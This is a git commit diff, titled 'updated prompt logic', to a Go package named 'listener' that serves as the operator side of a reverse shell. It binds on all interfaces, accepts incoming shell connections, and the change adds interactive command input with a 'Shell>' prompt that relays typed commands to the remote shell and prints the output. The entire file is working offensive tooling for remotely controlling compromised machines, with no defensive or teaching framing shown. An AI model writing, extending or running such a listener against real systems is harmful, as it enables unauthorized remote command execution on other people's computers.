updated prompt logic

This commit is contained in:
Vomitblood 2025-01-24 11:17:20 +08:00
parent 2dd7fa386f
commit 0847b677bc

View file

@ -1,6 +1,7 @@
package listener package listener
import ( import (
"bufio"
"fmt" "fmt"
"io" "io"
"net" "net"
@ -13,18 +14,26 @@ func handleConnection(conn net.Conn) {
fmt.Println("Connection established. Interacting with reverse shell...") fmt.Println("Connection established. Interacting with reverse shell...")
fmt.Println("Press enter once if prompt does not show up.") fmt.Println("Press enter once if prompt does not show up.")
for { // Use bufio.NewReader for more interactive input handling
var cmd string reader := bufio.NewReader(os.Stdin)
fmt.Scanln(&cmd)
// send the command to the reverse shell for {
_, err := conn.Write([]byte(cmd + "\n")) // Read command input interactively from the user
fmt.Print("Shell> ")
cmd, err := reader.ReadString('\n') // Read until Enter is pressed
if err != nil {
fmt.Println("Error reading command:", err)
return
}
// Send the command to the reverse shell
_, err = conn.Write([]byte(cmd))
if err != nil { if err != nil {
fmt.Println("Error sending command:", err) fmt.Println("Error sending command:", err)
return return
} }
// read the response from the reverse shell // Read the response from the reverse shell
buf := make([]byte, 1024) buf := make([]byte, 1024)
n, err := conn.Read(buf) n, err := conn.Read(buf)
if err != nil && err != io.EOF { if err != nil && err != io.EOF {
@ -32,7 +41,7 @@ func handleConnection(conn net.Conn) {
return return
} }
// print the reverse shell output // Print the reverse shell output
fmt.Print(string(buf[:n])) fmt.Print(string(buf[:n]))
} }
} }
@ -48,7 +57,7 @@ func startListener(lhost, lport string) {
fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport) fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport)
// accept incoming connections and handle them // Accept incoming connections and handle them
for { for {
conn, err := listener.Accept() conn, err := listener.Accept()
if err != nil { if err != nil {
@ -56,13 +65,13 @@ func startListener(lhost, lport string) {
continue continue
} }
// handle the connection in a new goroutine // Handle the connection in a new goroutine
go handleConnection(conn) go handleConnection(conn)
} }
} }
func Listen(lport string) { func Listen(lport string) {
// listen on everything, lazy // Listen on everything, lazy
lhost := "0.0.0.0" lhost := "0.0.0.0"
startListener(lhost, lport) startListener(lhost, lport)